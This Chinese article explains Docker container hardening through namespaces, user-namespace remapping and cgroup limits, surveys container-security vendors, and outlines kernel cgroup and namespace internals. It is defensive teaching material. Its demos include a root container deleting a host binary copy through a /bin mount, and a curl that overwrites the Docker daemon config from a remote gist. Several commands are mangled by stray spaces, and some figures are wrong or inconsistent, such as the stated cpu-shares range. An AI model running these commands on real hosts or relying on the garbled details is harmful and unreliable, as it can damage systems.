众所周知,Docker使用namespace进行环境隔离、使用cgroup进行资源限制。但是在实际应用中,还是有很多企业或者组织没有使用namespace或者cgroup对容器加以限制,从而埋下安全隐患。本文定位于简单介绍namespace和cgroup的基本原理之后,通过具体配置和应用向读者展示如何应用这些技术保护docker容器安全,不过namespace和cgroup并不是万能的,他们只是保障Docker容器安全的多种方案中的一类而已。

2.5.1 namespace

  • 概述

我们可以给容器分配有限的资源,这有助于限制系统和恶意攻击者可用的系统资源。每个容器所能获取的组件有:

网络堆栈
进程空间
文件系统实例
  • 1
  • 2
  • 3

可通过使用namespace来实现限制资源。namespace就像一个“视图”,它只显示系统上所有资源的一个子集。这提供了一种隔离形式:在容器中运行的进程不能看到或影响其他容器中的进程或者宿主本身。

以下是一些常见的namespace类型实例。 Namespace例子

Cgroup      CLONE_NEWCGROUP   限制root目录
IPC         CLONE_NEWIPC      System V IPC, POSIX消息队列
Network     CLONE_NEWNET      网络设备、栈、端口等
Mount       CLONE_NEWNS       挂载点
PID         CLONE_NEWPID      进程ID
User        CLONE_NEWUSER     用户和组ID
UTS         CLONE_NEWUTS      主机名和NIS域名
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Docker run 命令有几个参数和 namespace 相关:

IPC:
      --ipc string IPC namespace to use
PID:
      --pid string PID namespace to use
User:
      --userns string User namespace to use
UTS:
      --uts string UTS namespace to use
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 确定当前Docker用户

默认情况下,Docker守护程序在主机上以root用户身份运行。通过列出所有进程,你可以识别Docker守护程序运行的用户。

ps aux | grep docker
  • 1

由于守护程序以root身份运行,因此启动的任何容器将具有与主机的root用户相同的安全上下文。

docker run --rm alpine id
  • 1

这样时有安全风险的:如果root用户拥有的文件可从容器访问,则可以由正在运行的容器修改。

  • 删除文件

以下命令标识以root用户身份运行容器的风险。

首先,在我们的主机上创建touch命令的副本。

sudo cp /bin/touch /bin/touch.bak && ls -lha /bin/touch.bak
  • 1

由于容器的/hos目录和宿主的/bin是同一个,因此可以从容器删除宿主上的文件,不信你试试。

docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak
  • 1

结果,该命令被删的一干二净。

ls -lha /bin/touch.bak
  • 1

在这种情况下,容器能够从主机删除触摸二进制文件。

  • 更改容器用户

可以通过更改用户和组上下文以及使用非特权用户运行的容器来规避以上风险。

docker run --user = 1000:1000 --rm alpine id
  • 1

作为无特权用户,将无法删除二进制文件。

$ docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak
$ docker run --user=1000:1000 --rm alpine id
uid=1000 gid=1000
$ sudo cp /bin/touch /bin/touch.bak
$ docker run --user=1000:1000 -it -v /bin:/host/ alpine rm -f /host/touch.bak
rm: can't remove '/host/touch.bak': Permission denied
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

但是,如果我们在容器内部需要访问根目录,那么我们仍然会将自己暴露给前一个场景。这是namespace出现的原因。

  • 启用用户namespace

Docker建议不要在启用namespace模式和禁用namespace模式之间来回切换Docker daemon,执行此操作可能会导致镜像权限出现问题。

namespace是Linux内核安全功能,该功能允许namespace或容器内的root用户访问主机上的非特权用户ID。

  • 任务

使用参数userns-remap启动Docker daemon时,将启用namespace。运行以下命令以修改Docker daemon设置并重新启动该进程。

curl https://gist.githubusercontent.com/BenHall/bb878c99d06a63cd8ed4d1c0a6941df4/raw/76136ffbca341846619086cfe40ab8e013683f47/daemon.json -o /etc/docker/daemon.json&& sudo service docker restart
  • 1

使用cat /etc/docker/daemon.json查看设置

cat /etc/docker/daemon.json
{
    "bip":"172.18.0.1/24",
    "debug": true,
    "storage-driver": "overlay",
    "userns-remap": "1000:1000",
    "insecure-registries": ["registry.test.training.katacoda.com:4567"]
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

重新启动后,你可以使用以下命令验证namespace是否到位

docker info | grep "Root Dir"
WARNING: No swap limit support
Docker Root Dir: /var/lib/docker/100000.100000
  • 1
  • 2
  • 3

Docker将不再以root用户身份将文件存储在磁盘卷上。相反,所有内容都作为映射用户进行处理。 Docker Root Dir定义了Docker为映射用户存储数据的位置。

注意:在现有系统上启用此功能时,需要重新下载Docker Images。

  • namespace保护

启用namespace后,Docker Dameon将以其他用户身份运行。

ps aux | grep dockerd
  • 1

启动容器时,容器内的用户将具有root权限。

docker run --rm alpine id
  • 1

但是,用户将无法修改主机上运行的任何内容。

sudo cp / bin / touch /bin/touch.bak
docker run -it -v / bin /:/ host / alpine rm -f /host/touch.bak
  • 1
  • 2

与此前不同,我们的ps命令仍然存在。

ls -lha /bin/touch.bak
  • 1

通过使用namespace,可以将Docker root用户分开,并提供比以前更强的安全性和隔离性。

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
$ sudo cp /bin/touch /bin/touch.bak
$ docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak
rm: can't remove '/host/touch.bak': Permission denied
$ ls -lha /bin/touch.bak
-rwxr-xr-x 1 root root 63K Aug 27 03:59 /bin/touch.bak
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 使用网络namespace

虽然cgroup控制进程可以使用多少资源,但命名空间还能控制进程的查看和访问权限。

例子:
启动容器时,将定义并创建网络接口。这为容器提供了唯一的IP地址和接口。

[root@host01 ~]# docker run -it alpine ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
14: eth0@if15: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
    link/ether 02:42:ac:12:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.3/24 brd 172.18.0.255 scope global eth0
       valid_lft forever preferred_lft forever
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

通过将命名空间更改为主机,而不是容器的网络与其接口隔离,该进程将可以访问主机网络接口。

[root@host01 ~]# docker run -it --net=host alpine ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP qlen 1000
    link/ether 02:42:ac:11:00:11 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.17/16 brd 172.17.255.255 scope global enp0s3
       valid_lft forever preferred_lft forever
    inet6 fe80::b3ad:ecc4:2399:7a54/64 scope link
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
    link/ether 02:42:cd:78:f0:22 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/24 brd 172.18.0.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::e9ad:a1a7:8b68:a0d1/64 scope link
       valid_lft forever preferred_lft forever
5: veth158bc01@if4: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue master docker0 stateUP
    link/ether 9e:bc:3d:01:53:95 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::ca3e:49ea:e1d0:8755/64 scope link
       valid_lft forever preferred_lft forever
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

如果进程监听端口,它们将在宿主接口上被监听并映射到容器。

  • 使用Pid命名空间

与网络一样,容器可以看到的进程也取决于它所属的命名空间。 通过更改pid命名空间,允许容器与超出其正常范围的进程进行交互。

例子:
第一个容器将在其进程名称空间中运行。 因此,它可以访问的唯一进程是在容器中启动的进程。

[root@host01 ~]# docker run -it alpine ps aux
PID   USER     TIME   COMMAND
    1 root       0:00 ps aux
  • 1
  • 2
  • 3

通过将命名空间更改为主机,容器还可以查看系统上运行的所有其他进程。

[root@host01 ~]# docker run -it --pid=host alpine ps aux
PID   USER     TIME   COMMAND
    1 root       0:00 /usr/lib/systemd/systemd
    2 root       0:00 [kthreadd]
    4 root       0:00 [kworker/0:0H]
    6 root       0:00 [mm_percpu_wq]
    7 root       0:00 [ksoftirqd/0]
    8 root       0:00 [rcu_sched]
    9 root       0:00 [rcu_bh]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 共享命名空间

有时需要提供容器访问主机名称空间,例如调试工具,但被认为是不好的做法。这是因为你正在打破可能引入漏洞的容器安全模型。相反,如果需要,请使用共享命名空间来仅访问容器所需的命名空间。

例子:
第一个容器启动Nginx服务器。这将定义一个新的网络和进程命名空间。 Nginx服务器将自身绑定到新定义的网络接口的端口80。

docker run -d --name http nginx:alpine
  • 1

其他容器现在可以使用语法容器重用此命名空间:。 curl命令下面可以访问在localhost上运行的HTTP服务器,因为它们共享相同的网络接口。

docker run --net = container:http benhall / curl curl -s localhost

<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

它还可以查看共享容器中的进程并与之交互。

docker run --pid=container:http alpine ps aux
PID   USER     TIME   COMMAND
    1 root       0:00 nginx: master process nginx -g daemon off;
    6 100        0:00 nginx: worker process
    7 root       0:00 ps aux
这对于调试工具很有用,例如strace。这允许你在不更改或重新启动应用程序的情况下为特定容器提供更多权限。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

2.5.2 cgroup

  • 概述

cgroup可为系统中所运行的任务或进程的用户群组分配资源,比如CPU事件、系统内存、网络带宽或者这些资源的组合。一般可以分为下面几种类型:

Resource limitation: 限制资源使用,比如内存使用上限以及文件系统的缓存限制。
Prioritization: 优先级控制,比如:CPU利用和磁盘IO吞吐。
Accounting: 一些审计或一些统计,主要目的是为了计费。
Control: 挂起进程,恢复执行进程。
  • 1
  • 2
  • 3
  • 4

以下是一些常见的cgroup类型示例。

CGroups例子

--cpu-shares #限制cpu共享
--cpuset-cpus #指定cpu占用
--memory-reservation #指定保留内存
--kernel-memory #内核占用内存
--blkio-weight (block IO) #blkio权重
--device-read-iops #设备读iops
--device-write-iops #设备写iops
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

docker run中与cgroup相关的参数如下:

block IO:
      --blkio-weight value          Block IO (relative weight), between 10 and 1000
      --blkio-weight-device value   Block IO weight (relative device weight) (default [])
      --cgroup-parent string        Optional parent cgroup for the container
CPU:
      --cpu-percent int             CPU percent (Windows only)
      --cpu-period int              Limit CPU CFS (Completely Fair Scheduler) period
      --cpu-quota int               Limit CPU CFS (Completely Fair Scheduler) quota
  -c, --cpu-shares int              CPU shares (relative weight)
      --cpuset-cpus string          CPUs in which to allow execution (0-3, 0,1)
      --cpuset-mems string          MEMs in which to allow execution (0-3, 0,1)
Device:    
      --device value                Add a host device to the container (default [])
      --device-read-bps value       Limit read rate (bytes per second) from a device (default [])
      --device-read-iops value      Limit read rate (IO per second) from a device (default [])
      --device-write-bps value      Limit write rate (bytes per second) to a device (default [])
      --device-write-iops value     Limit write rate (IO per second) to a device (default [])
Memory:      
      --kernel-memory string        Kernel memory limit
  -m, --memory string               Memory limit
      --memory-reservation string   Memory soft limit
      --memory-swap string          Swap limit equal to memory plus swap: '-1' to enable unlimited swap
      --memory-swappiness int       Tune container memory swappiness (0 to 100) (default -1)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 定义内存限制

可以通过定义上限边界来帮助限制应用程序的内存泄漏或其他程序bug。

例子

docker run -d --name mb100 --memory 100m alpine top
da4db4fd6b70501783c172b7459227c6c8e0426784acf1da26760d80eb2403b0
  • 1
  • 2

容器的内存使用可通过docker stats命令查看。

docker stats --no-stream
CONTAINER ID        NAME                CPU %               MEM USAGE / LIMIT   MEM %               NET I/O             BLOCK I/O           PIDS
da4db4fd6b70        mb100               0.00%               440KiB / 100MiB     0.43%               6.21kB / 90B        1.06MB / 0B         1
  • 1
  • 2
  • 3
  • 定义CPU份额

虽然内存限制定义了设置的最大值,但CPU限制基于共享。这些份额是一个进程应该与另一个进程在处理时间上分配的权重。 如果CPU处于空闲状态,则该进程将使用所有可用资源。 如果第二个进程需要CPU,则将根据权重共享可用的CPU时间。

例子
下面是启动具有不同共享权重的容器的示例。 --cpu-shares参数定义0-768之间的共享。 如果容器定义了768的份额,而另一个容器定义了256的份额,则第一个容器将具有50%的份额,而另一个容器具有25%的可用份额。 这些数字是由于CPU共享的加权方法而不是固定容量。 在第一个容器下方将允许拥有50%的份额。 第二个容器将限制在25%。

docker run -d --name c768 --cpuset-cpus 0 --cpu-shares 768 benhall/stress
docker run -d --name c256 --cpuset-cpus 0 --cpu-shares 256 benhall/stress
sleep 5
docker stats --no-stream
CONTAINER ID        NAME                CPU %               MEM USAGE / LIMIT   MEM %               NET I/O             BLOCK I/O           PIDS
41fa6c06b148        c256                24.77%              736KiB / 737.6MiB   0.10%               2.1kB / 180B        0B / 0B             3
4555c9a0c612        c768                74.33%              732KiB / 737.6MiB   0.10%               2.19kB / 484B       0B / 0B             3
da4db4fd6b70        mb100               0.00%               444KiB / 100MiB     0.43%               12.7kB / 90B        1.06MB / 0B         1
docker rm -f c768 c256
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

有一点很重要,就是只要没有其他进程在,即便是定义了权重,启动的进程也能获得共享的100%的资源。

  • 其他限制

诸如读写IP的限制,可以按照参考文档配置测试,测试效果如上面的cpu和内存限制。

参考文档:
Docker 容器使用 cgroups 限制资源使用
Docker 使用 Linux namespace 隔离容器的运行环境

2.6 Docker容器系统调用和文件访问的权限控制

介绍如何使用seccomp和apparmor实现Docker容器系统调用和文件访问的权限控制。

2.7 安全管理docker容器敏感信息

介绍如何使用Hashicorp Vault安全管理docker容器敏感信息。

3. 竞品厂商

3.1 neuvector

核心思想:

Production-Grade Container Security 
Profile. Protect. Prevent.

Kubernetes-native.
Vulnerability management.
Zero-day blocking.
Micro-segmentation.
DevOps agility.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

3.1.1 Use Cases:

1.DevOps Transformation

Speed your journey to DevOps.// 加快您的DevOps之旅。
NeuVector covers the entire CI/CD pipeline with complete vulnerability management and attack blocking in production with our patented container firewall. // NeuVector通过我们的专利容器防火墙在整个CI/CD 流水线中提供了完整的漏洞管理和生产中的攻击阻止功能。

2.Compliance(合规)

Don’t sweat the details. // 不用为细节烦恼
NeuVector has you covered with PCI-ready container security. Meet requirements with less time and less work. // NeuVector为您提供了支持PCI的容器安全性。 以更少的时间和更少的工作来满足需求。

3.Cloud Migration(云迁移)

Deploy containers in the cloud with confidence. //放心地在云中部署容器。
NeuVector protects your data and IP in public and private cloud environments. // NeuVector在公共和私有云环境中保护您的数据和IP。

4.Security Automation(安全自动化)

Accelerate your CI/CD pipeline with Security as Code. // 加速CI/CD流水中的代码安全
Continuously scan throughout the container lifecycle. Remove security roadblocks.Bake in security policies at the start. //在整个容器生命周期中连续扫描。 删除安全障碍。一开始就烘焙安全策略。

5.Microservices(微服务)

Transition to microservices securely. // 安全地过渡到微服务。
Comprehensive vulnerability management to establish your risk profile and the only patented container firewall for immediate protection from zero days, known, and unknown threats. //全面的漏洞管理可建立您的风险概况,并是唯一的获得专利的容器防火墙,可立即防御零日,已知和未知威胁。

6.Container Segmentation

Protect PII //保护个人身份信息
Essential for PCI and other mandates, NeuVector creates a virtual wall to keep personal and private information securely isolated on your network. //对于PCI和其他任务至关重要,NeuVector可以创建虚拟墙,以将个人和私人信息安全地隔离在您的网络上。

3.1.2 Kubernetes-native Container Security

Kubernetes原生容器安全

NeuVector is the only kubernetes-native container security platform that delivers complete container security. Our end-to-end vulnerability management gives you a continuous risk profile on known threats. Our patented container firewall technology starts blocking on Day 1 to protect your infrastructure from known and unknown threats. Our behavioral learning and Security as Code automation processes improve the flow between development and security. Integrating policy helps prevent future exposure.
//NeuVector是唯一提供完整容器安全性的kubernetes原生容器安全性平台:
我们的端到端漏洞管理为您提供有关已知威胁的连续风险概况。
我们获得专利的容器防火墙技术从第1天起开始阻止,以保护您的基础结构免受已知和未知的威胁。
我们的行为学习和“安全即代码”自动化流程改善了开发与安全之间的流程。
整合政策有助于防止未来的风险敞口。

1.Security

NeuVector’s defense-in-depth security extends beyond Kubernetes network policies to protect your applications from the CI/CD pipeline to production. //NeuVector的纵深防御安全性超出了Kubernetes网络策略的范围,可保护您的应用程序从CI / CD管道到生产环境。

Vulnerability management plus protection from Day 1 without patching//从第一天起就进行漏洞管理并提供保护,无需修补
Protection from unpatched CVEs, zero days, and insider threats//保护免受未修补的CVE,零时差和内部威胁
Full coverage to avoid breaches from inside and out //全面覆盖,避免从内到外破坏

2.Visibility

NeuVector offers a comprehensive lens into all network traffic and actionable data throughout the container lifecycle.//NeuVector为整个容器生命周期中的所有网络流量和可操作数据提供了一个全面的视角。

Adapt quickly in dynamic DevOps environments //在动态DevOps环境中快速适应
Identify anomalous behavior and rogue employees //识别异常行为和欺骗的员工
Normalize security policies between environments.//规范环境之间的安全策略。

3.Compliance

NeuVector simplifies compliance mandates for any container environment, including highly regulated industries like financial services and healthcare.//NeuVector简化了对任何容器环境的合规性要求,包括金融服务和医疗保健等高度管制的行业。

Meet PCI requirements for container segmentation, plus GDPR and HIPAA //满足PCI容器分段要求,以及GDPR和HIPAA
Use automated templates for easier reporting //使用自动化模板以更轻松地报告
Map to CIS Benchmarks for Kubernetes //映射到Kubernetes的CIS基准

3.2 docker安全厂商

以下是七个最近改进的容器安全产品和服务,它们在云和你自己的数据中心中为容器提供漏洞检测,合规性检查,白名单,防火墙和运行时保护等功能。

  • Aporeto

Aporeto专注于运行时保护,类似于下面讨论的NeuVector产品。该公司提供微服务安全产品以保护Kubernetes工作负载和云网络防火墙系统,以保护在分布式环境中运行的应用程序。

通过Kubernetes工作负载,Aporeto可以保护本地和托管环境(例如,Google Kubernetes Engine)。为每个创建的资源分配一个服务标识,用于确保应用程序周围的信任链不被破坏。除其他外,服务标识用于强制声明的应用程序行为,无论应用程序的pod实际存在于何处。

  • Aqua容器安全平台

Aqua容器安全平台为Linux容器和Windows容器提供合规性和运行时安全性。

端到端容器安全管理器允许管理员将安全策略和风险配置文件应用于应用程序,并将这些配置文件与不同的应用程序构建管道相关联, 镜像扫描可以与构建和CI/CD工具集成。

Aqua容器安全平台还允许管理员使用应用程序上下文在运行时为应用程序分割网络。Aqua平台与Hashicorp Vault等秘密管理工具配合使用,它支持Grafeas API,用于访问软件组件中的元数据。Aqua平台可以记录它在应用程序的Grafeas商店中发现的任何漏洞信息,Aqua策略可以利用Grafeas定义数据来处理安全事件和软件问题。

Aqua Container Security Platform可用于本地或云端部署。免费试用版或开源版本不可用,但Aqua已经发布了许多源自该平台的开源工具。

  • Atomic Secured Docker

Atomic Secured Docker是Ubuntu,CentOS和Red Hat Enterprise Linux的替代Linux内核,它利用一些强化策略来抵消潜在的攻击。许多保护措施,如用户内存的强化权限,都来自Atomicorp的安全内核产品系列。其他产品,如容器突破保护,专为Docker设计。

可通过直接购买获得Atomic Secured Docker,AWS和Azure市场中提供了AWS托管的CentOS和Azure托管的CentOS和Ubuntu的版本。

  • NeuVector

NeuVector旨在保护整个Kubernetes集群。它适用于现有的Kubernetes管理解决方案,如Red Hat OpenShift和Docker Enterprise Edition,旨在保护部署的所有阶段的应用程序,从开发(通过Jenkins插件)到生产。

与此处的许多其他解决方案一样,NeuVector作为容器部署到现有的Kubernetes集群中,而不是通过修改现有代码。将NeuVector添加到群集时,它会发现所有托管容器并生成详细说明连接和行为的映射。检测并考虑由应用程序升级或降低引起的任何更改,以便对威胁(包括容器突破或新漏洞)的实时扫描仍然有效。

  • Sysdig Secure

Sysdig Secure提供了一组工具,用于监视容器运行时环境并从中获取取证。Sysdig Secure旨在与Sysdig的其他仪器工具(如Sysdig Monitor)一起运行。

可以针对每个应用程序,每个容器,每个主机或每个网络活动设置和实施环境策略。 Sysdig Secure跟踪的任何事件都可以通过主持人或容器或通过协调器(通常是Kubernetes)的镜头来查看。可以记录和检查每个容器的命令历史记录,并且可以以类似于Twistlock的“事件探索器”功能的方式记录和回放整个群集中的常规取证。

  • Tenable.io Container Security

Tenable.io Container Security专注于为DevOps团队提供在构建过程中对容器安全性的可见性,而不是在生产过程中。

在构建时扫描容器镜像以查找恶意软件,漏洞和策略合规性。如果镜像或镜像中的任何元素抛出红色标记,开发人员会收到问题的性质及其确切位置的通知,例如,多层镜像的特定层,因此可以修复快速下一次推动。

Tenable.io Container Security适用于大多数常见的CI/CD构建系统和容器镜像注册表,并提供所有正在运行的容器镜像,策略实施状态和存储库行为的当前状态的仪表板视图。

  • Twistlock

Twistlock为Docker Enterprise等“核心”容器产品未涵盖的容器添加了许多安全控制。其中一些功能包括:

合规性控制,用于对容器实施HIPAA和PCI规则。
对Jenkins等构建工具的合规性警报。
针对云原生应用程序进行防火墙。
基于有效和无效容器行为分析的容器运行时攻击保护。
支持Kubernetes的CIS基准测试,以便可以根据保护Kubernetes的一系列通用标准检查Kubernetes管理的部署。
2018年8月发布的Twistlock 2.5增加了新的取证分析技术,可以减少运行时开销(例如,将事件前和事件后容器状态信息存储在容器本身之外);用于映射命名空间,pod和容器的实时可视化工具的增强功能;无服务器计算系统的防御和防御。

5. 内核相关技术

近几年容器(Container)、Kubernetes等技术在数据中心、云计算、各互联网公司的业务服务中得到广泛应用,和20世纪60年代就兴起的虚拟机(Virtual Machine,VM)技术一样,容器也是一种服务虚拟化技术(Server Virtualization),但是它更加轻量,同时将焦点从Machine转移到Application,极大提高了开发、测试、生产环境部署的效率,不过其安全性隔离性比虚拟机稍逊一筹,在一些场景下也无法完全替代虚拟机。

内核对容器的支持:

  • chroot:chroot机制允许更改进程及其所有子进程的根目录,用于限制对单个文件夹的文件系统访问,目标进程及其子进程将该文件夹视为根文件夹(/)(不提供进程隔离)。
  • namespace(by IBM):内核命名空间是进程隔离的基础,是实现基于容器的虚拟化的关键概念之一,它能够隔离进程、进程组甚至完整的子系统(如进程间通信或者内核的网络子系统)。每个命名空间中的进程ID分配是独立的,不同命名空间中的进程可能具有相同的进程ID。
  • Control group(by Google ):cgroup是一种跟踪进程和进程组(包括创建的子进程)的机制,它提供的钩子允许其他子系统扩展这些功能,并实现细粒度的资源控制和限制。将资源分配给进程、进程组并管理这些分配的能力允许规划和控制容器的使用。同样,若有进程已声明了对某些资源的占用,其他进程则无法使用。
  • Mandatory Access Control :MAC策略通常用于限制对敏感资源的访问(而这些访问在一定上下文下是不需要的),以减轻从容器内部对主机和其他容器的攻击,从而提高容器虚拟化技术的安全性。

5.1 cgroup

cgroup就是组的意思,可以对某一组进程进程资源配额的配置。其最核心的就是多对多关系的组织:
在这里插入图片描述

1、subsys是一组基类(cpu、blkio),css是基类的实例化。

2、cgroup的一组css的集合。

3、hierarchy是多个cgoup的组合,它决定cgroup中能创建哪些subsys的css。hierarchy可以任意引用几种subsys,但是一个subsys只能被一个hierarchy引用。如果一个hierarchy已经引用某个subsys,那么其他hierarchy就不能再引用这个subsys了。hierarchy对应cgroupfs_root数据结构。

4、一旦hierarchy确定了subsys,那么它下面的cgroup只能创建对应的css实例。一个subsys只能存在于某个hierarchy中,hierarchy下的多个cgroup可以创建这个subsys对应的多个css。

5、hierarchy、cgroup、css三者还使用文件系统来表示层次关系:hierarchy是文件系统挂载点,cgroup是文件夹,css是文件夹中的文件。css的值,已经兄弟和父子关系,表示了subsys资源配额的关系。

6、cgoup是为了划分资源配额,配置的主体是进程task。每个task在每一类别的subsys上都有配额,所以每个task在每个类别的subsys上有一个唯一的css与之关联。

7、进程和css是一对多(1 x N)的关系。而系统中的多个进程和多个css,是多对多(M x N)的关。为了收敛这种多对多的关系,系统把所有css属性都相同的一组进程放在一个css_set当中,把多个css放在一个cgroup当中,这样还是多对多但是已经收敛(M/a x N/b)。css_set根据属性组合,存入css_set_table当中。

8、css_set代表a个css属性相同的进程,cgroup代表引用的b个subsys。多对多的关系从task vs css的(M x N),收敛到css_set vs cgroup的(M/a x N/b)。为了进一步简化css_set和cgroup之间多对多关系的双向查找,引入了cg_group_link数据结构:
在这里插入图片描述

task_struct通过->cgroup成员找到css_set结构,css_set利用->tasks链表把所有css属性相同的进程链接到一起。
css_set → cgroup:css_set的->cgrp_links链表上挂载了这组css相关cgroup对应的cg_cgroup_link,通过cg_cgroup_link->cgrp找到cgroup,再通过cgroup->subsys[]找到css。
cgroup → css_set:cgroup的->cset_links链表上挂载了所有指向本cgoup的task对应的cg_cgroup_link,通过cg_cgroup_link->cset找到css_set,再通过css_set->tasks找到所有的task_struct。

9、还有一条task_struct → cgroup 的通路:
在这里插入图片描述

路径:task_struct->cgroup → css_set->subsys[] → cgroup_subsys_state->cgroup → cgroup

5.2 namespace

Namespace是对全局系统资源的一种封装隔离,使得处于不同namespace的进程拥有独立的全局系统资源,改变一个namespace中的系统资源只会影响当前namespace里的进程,对其他namespace中的进程没有影响。

Linux内核支持的namespaces如下:

名称宏定义隔离内容
CgroupCLONE_NEWCGROUPCgroup root directory (since Linux 4.6)
IPCCLONE_NEWIPCSystem V IPC, POSIX message queues (since Linux 2.6.19)
NetworkCLONE_NEWNETNetwork devices, stacks, ports, etc. (since Linux 2.6.24)
MountCLONE_NEWNSMount points (since Linux 2.4.19)
PIDCLONE_NEWPIDProcess IDs (since Linux 2.6.24)
UserCLONE_NEWUSERUser and group IDs (started in Linux 2.6.23 and completed in Linux 3.8)
UTSCLONE_NEWUTSHostname and NIS domain name (since Linux 2.6.19)

Ps:其中,cgroup namespace在4.6的内核中才实现,并且和cgroup v2关系密切,现在普及程度还不高,比如docker现在就还没有用它,所以在namespace系列文章中暂时不会介绍cgroup namespace。

系统中的每个进程都有/proc/[pid]/ns/这样一个目录,里面包含了这个进程所属namespace的信息,里面每个文件的描述符都可以用来作为setns函数(后文会介绍)的参数。

查看当前bash进程所属的namespace信息:

myc@myc-virtual-machine:~/data/scara$ ll /proc/3366/ns/ 
总用量 0
dr-x--x--x 2 myc myc 0 12月  3 14:35 ./
dr-xr-xr-x 9 myc myc 0 11月 25 11:16 ../
lrwxrwxrwx 1 myc myc 0 12月  3 16:21 cgroup -> cgroup:[4026531835]
lrwxrwxrwx 1 myc myc 0 12月  3 16:21 ipc -> ipc:[4026531839]
lrwxrwxrwx 1 myc myc 0 12月  3 16:21 mnt -> mnt:[4026531840]
lrwxrwxrwx 1 myc myc 0 12月  3 16:21 net -> net:[4026531957]
lrwxrwxrwx 1 myc myc 0 12月  3 16:21 pid -> pid:[4026531836]
lrwxrwxrwx 1 myc myc 0 12月  3 16:21 user -> user:[4026531837]
lrwxrwxrwx 1 myc myc 0 12月  3 16:21 uts -> uts:[4026531838]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

和namespace相关的函数只有三个,如下所示:

一、clone: 创建一个新的进程并把他放到新的namespace中。

int clone(int (*child_func)(void *), void *child_stack, int flags, void *arg);
  • 1

其中:flags用于指定一个或者多个上面的CLONE_NEW*宏定义(当然也可以包含跟namespace无关的flags,多个flags 用|进行分隔),这样就会创建一个或多个新的不同类型的namespace,并把新创建的子进程加入新创建的这些namespace中。

二、setns: 将当前进程加入到已有的namespace中。

int setns(int fd, int nstype);
  • 1

其中:

  • fd:指向/proc/[pid]/ns/目录里相应namespace对应的文件,表示要加入哪个namespace
  • nstype:指定namespace的类型(上面的任意一个CLONE_NEW*),具体分为两种情况:1. 如果当前进程不能根据fd得到它的类型,如fd由其他进程创建,并通过UNIX domain socket传给当前进程,那么就需要通过nstype来指定fd指向的namespace的类型。2. 如果进程能根据fd得到namespace类型,比如这个fd是由当前进程打开的,那么nstype设置为0即可。

三、unshare: 使当前进程退出指定类型的namespace,并加入到新创建的namespace(相当于创建并加入新的namespace)。

int unshare(int flags);
  • 1

其中:flags用于指定一个或者多个上面的CLONE_NEW*宏定义(当然也可以包含跟namespace无关的flags,多个flags 用|进行分隔),这样就会创建一个或多个新的不同类型的namespace,并把新创建的子进程加入新创建的这些namespace中。
clone和unshare的区别

clone和unshare的功能都是创建并加入新的namespace, 他们的区别是:

  • unshare是使当前进程加入新的namespace。
  • clone是创建一个新的子进程,然后让子进程加入新的namespace,而当前进程保持不变。

5.3 镜像(Image) & 容器(Container)

镜像:一个特殊的文件系统

操作系统分为内核和用户空间。对于 Linux 而言,内核启动后,会挂载 root 文件系统为其提供用户空间支持。而 Docker 镜像(Image),就相当于是一个 root 文件系统。

